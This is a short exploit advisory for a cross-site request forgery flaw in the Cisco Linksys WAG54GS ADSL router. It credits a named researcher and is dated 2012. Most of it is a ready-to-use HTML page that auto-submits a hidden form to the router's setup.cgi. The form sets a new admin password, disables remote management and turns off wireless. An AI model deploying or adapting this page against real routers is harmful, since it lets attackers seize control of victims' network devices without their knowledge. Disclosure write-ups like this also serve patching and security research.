The Cisco Linksys WAG54GS ADSL router suffers from a cross site request forgery vulnerability.
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# Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
# Date : 20-02-2012
# Author : Ivano Binetti (https://ivanobinetti.com)
# Vendor site : https://www.linksysbycisco.com
# Version : WAG54GS
# Tested on : Firmware Version: V1.01.03
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+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
Summary
1)Introduction
2)Vulnerability Description
3)Exploit
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1)Introduction
Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin"
as default administrator. His default ip address is 192.168.1.1
2)Vulnerability Description
The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things -
to change default administrator ("admin") password.
3)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change admin password</H2>
<form method="POST" name="form0" action="https://192.168.1.1:80/setup.cgi">
<input type="hidden" name="user_list" value="1"/>
<input type="hidden" name="sysname" value="admin"/>
<input type="hidden" name="sysPasswd" value="new_password"/>
<input type="hidden" name="sysConfirmPasswd" value="new_password"/>
<input type="hidden" name="remote_management" value="disable"/>
<input type="hidden" name="devname" value=""/>
<input type="hidden" name="snmp_enable" value="disable"/>
<input type="hidden" name="upnp_enable" value="enable"/>
<input type="hidden" name="wlan_enable" value="disable"/>
<input type="hidden" name="save" value="Save+Settings"/>
<input type="hidden" name="h_user_list" value="1"/>
<input type="hidden" name="h_pwset" value="yes"/>
<input type="hidden" name="sysname_changed" value="no"/>
<input type="hidden" name="pwchanged" value="yes"/>
<input type="hidden" name="pass_is_default" value="false"/>
<input type="hidden" name="pass_is_none" value="no"/>
<input type="hidden" name="h_remote_management" value="disable"/>
<input type="hidden" name="c4_trap_ip_" value=""/>
<input type="hidden" name="h_snmp_enable" value="disable"/>
<input type="hidden" name="h_upnp_enable" value="enable"/>
<input type="hidden" name="h_wlan_enable" value="disable"/>
<input type="hidden" name="todo" value="save"/>
<input type="hidden" name="this_file" value="Administration.htm"/>
<input type="hidden" name="next_file" value="Administration.htm"/>
<input type="hidden" name="message" value=""/>
</form>
</body>
</html>
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